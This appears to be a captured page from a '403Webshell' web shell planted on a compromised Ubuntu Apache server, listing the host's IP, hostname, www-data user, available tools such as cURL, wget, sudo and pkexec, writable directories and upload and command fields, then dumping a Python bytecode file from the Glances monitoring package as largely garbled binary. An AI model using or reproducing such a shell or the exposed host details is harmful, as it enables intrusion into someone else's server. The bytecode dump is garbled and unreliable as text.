403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/glances/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/glances/__pycache__/stats.cpython-310.pyc
o

�v�a�/�@sldZddlZddlZddlZddlZddlZddlmZddlm	Z	m
Z
mZddlm
Z
Gdd�de�ZdS)zThe stats manager.�N)�logger)�exports_path�plugins_path�sys_path)�Counterc@s�eZdZdZdZd1dd�Zdd�Zdd	�Zd1d
d�Zd2dd
�Z	d2dd�Z
d3dd�Zd3dd�Zd2dd�Z
dd�Zd2dd�Zdd�Zdd�Zd2dd �Zd2d!d"�Zd#d$�Zd2d%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�ZdS)4�GlancesStatsz+This class stores, updates and gives stats.�glances_NcCs"||_||_d|_|�|j�dS)NT)�config�args�first_export�load_modules)�selfr	r
�r�//usr/lib/python3/dist-packages/glances/stats.py�__init__(szGlancesStats.__init__cCs�|�d�r"|td�d���}|j|}t|d�rt|d�St|��|�d�rD|td�d���}|j|}t|d�r@t|d�St|��t|��)aOverwrite the getattr method in case of attribute is not found.

        The goal is to dynamically generate the following methods:
        - getPlugname(): return Plugname stat in JSON format
        - getViewsPlugname(): return views of the Plugname stat in JSON format
        �getViewsN�get_json_views�get�	get_stats)�
startswith�len�lower�_plugins�hasattr�getattr�AttributeError)r
�item�plugname�pluginrrr�__getattr__3s







zGlancesStats.__getattr__cCsFt�t�|_|j|d�t�t�|_t�t�|_|j|d�tt	_
dS)z,Wrapper to load: plugins and export modules.)r
N)�collections�defaultdict�dictr�load_plugins�_exports�_exports_all�load_exportsr�sys�path)r
r
rrrrUs
zGlancesStats.load_modulesc
Cs�|t|j�d���}zt|dd��}|j||d�|j|<Wn6tyU}z*t�d�	||��t�
t���|durJt
|d|d�WYd}~dSWYd}~dSd}~ww|durjt
|d|t|d|d��dSdS)z>Load the plugin (script), init it and add to the _plugin dict.���N�r
r	z+Error while initializing the {} plugin ({})�disable_F)r�headerr�
__import__�Pluginr�	Exceptionr�critical�format�error�	traceback�
format_exc�setattrr)r
�
plugin_scriptr
r	�namer�errr�_load_pluginis*������zGlancesStats._load_plugincCs�t�}t�t�D]0}|�|j�r8|�d�r8||jdkr8|��|jtj	�
|�||jd�t�
d�||����qt�
d�|����dS)z)Load all plugins in the 'plugins' folder.�.pyz	plugin.pyr*zPlugin {} started in {} secondszActive plugins list: {}N)r�os�listdirrrr,�endswith�resetr9r(�basenamer	r�debugr1r�getPluginsList)r
r
�start_durationrrrrr#�s��
��zGlancesStats.load_pluginscCs|durdSd}tt�d�}t�t�D]C}tj�|�t|�d���}|�	|�rW|�
d�rW||dkrW||dkrWtj�|�dd�|j|<t|j
d	|t|j
d	|d��q|jD]%}t|j
d	|d�r�t|j|�}|j||jd
�|j|<|j||j|<q[t�d�|����dS)
z0Load all export modules in the 'exports' folder.NFrr
r)r:z	export.pyz
history.py�export_r*zActive exports modules list: {}T)�vars�localsr;r<rr(r?rrrr=r%r5r
rr-�Exportr	r$rr@r1�getExportsList)r
r
r,�args_varr�export_name�
export_modulerrrr&�s6
���
��zGlancesStats.load_exportsTcs(|r�fdd��jD�Sdd��jD�S)z�Return the plugins list.

        if enable is True, only return the active plugins (default)
        if enable is False, return all the plugins

        Return: list of plugin name
        csg|]}�j|��r|�qSr)r�
is_enabled��.0�p�r
rr�
<listcomp>�sz/GlancesStats.getPluginsList.<locals>.<listcomp>cS�g|]}|�qSrrrLrrrrP���r�r
�enablerrOrrA�szGlancesStats.getPluginsListcCs$|r
dd�|jD�Sdd�|jD�S)z�Return the exports list.

        if enable is True, only return the active exporters (default)
        if enable is False, return all the exporters

        Return: list of export module name
        cSrQrr�rMr8rrrrP�rRz/GlancesStats.getExportsList.<locals>.<listcomp>cSrQrrrVrrrrP�rR)r$r%rTrrrrG�szGlancesStats.getExportsListcCs |jD]
}|j|�|�qdS)z;Load the stats limits (except the one in the exclude list).N)r�load_limits)r
r	rNrrrrW�s
�zGlancesStats.load_limitscCsJ|jD]}|j|��r
q|j|��|j|��|j|��qdS)z#Wrapper method to update the stats.N)r�is_disabled�update�update_stats_history�update_views)r
rNrrrrY�s
�zGlancesStats.updatecCs`|jr
t�d�d|_dS|pi}|jD]}t�d|�tj|j|j|fd�}|��qdS)zXExport all the stats.

        Each export module is ran in a dedicated thread.
        zSDo not export stats during the first iteration because some information are missingFz Export stats using the %s module)�targetr
T)rrr@r$�	threading�ThreadrY�start)r
�input_statsr8�threadrrr�export�s

�
zGlancesStats.exportc��fdd��jD�S)zReturn all the stats (list).c�g|]	}�j|���qSr�r�get_rawrLrOrrrP�z'GlancesStats.getAll.<locals>.<listcomp>rSrOrrOr�getAll�zGlancesStats.getAllcrc)zReturn all the stats (dict).c�i|]
}|�j|���qSrrerLrOrr�
<dictcomp>�z-GlancesStats.getAllAsDict.<locals>.<dictcomp>rSrOrrOr�getAllAsDictrizGlancesStats.getAllAsDictcs"|dur�j}�fdd��jD�S)��
        Return all the stats to be exported (list).
        Default behavor is to export all the stat
        if plugin_list is provided, only export stats of given plugin (list)
        Ncrdr�r�
get_exportrLrOrrrPrgz.GlancesStats.getAllExports.<locals>.<listcomp>rS�r
�plugin_listrrOr�
getAllExportsszGlancesStats.getAllExportsc� |dur�j}�fdd�|D�S)rnNcrjrrorLrOrrrkrlz4GlancesStats.getAllExportsAsDict.<locals>.<dictcomp>rSrqrrOr�getAllExportsAsDict�z GlancesStats.getAllExportsAsDictcrc)zReturn the plugins limits list.csg|]}�j|j�qSr�r�limitsrLrOrrrP sz-GlancesStats.getAllLimits.<locals>.<listcomp>rSrOrrOr�getAllLimitsrizGlancesStats.getAllLimitscrt)z�
        Return all the stats limits (dict).
        Default behavor is to export all the limits
        if plugin_list is provided, only export limits of given plugin (list)
        Ncsi|]	}|�j|j�qSrrwrLrOrrrk+rgz3GlancesStats.getAllLimitsAsDict.<locals>.<dictcomp>rSrqrrOr�getAllLimitsAsDict"rvzGlancesStats.getAllLimitsAsDictcrc)zReturn the plugins views.crdr�r�	get_viewsrLrOrrrP/rgz,GlancesStats.getAllViews.<locals>.<listcomp>rSrOrrOr�getAllViews-rizGlancesStats.getAllViewscrc)z"Return all the stats views (dict).crjrr{rLrOrrrk3rlz2GlancesStats.getAllViewsAsDict.<locals>.<dictcomp>rSrOrrOr�getAllViewsAsDict1rizGlancesStats.getAllViewsAsDictcCs|jS)zReturn the plugin list.rSrOrrr�get_plugin_list5szGlancesStats.get_plugin_listcCs||jvr
|j|SdS)zReturn the plugin name.NrS)r
�plugin_namerrr�
get_plugin9s

zGlancesStats.get_plugincCs8|jD]	}|j|��q|jD]	}|j|��qdS)zEnd of the Glances stats.N)r$�exitr)r
r8rNrrr�end@s


�zGlancesStats.end)NN)N)T)�__name__�
__module__�__qualname__�__doc__r,rrrr9r#r&rArGrWrYrbrhrmrsruryrzr}r~rr�r�rrrrr!s2
"



$






r)r�r r;r'r]r3�glances.loggerr�glances.globalsrrr�
glances.timerr�objectrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit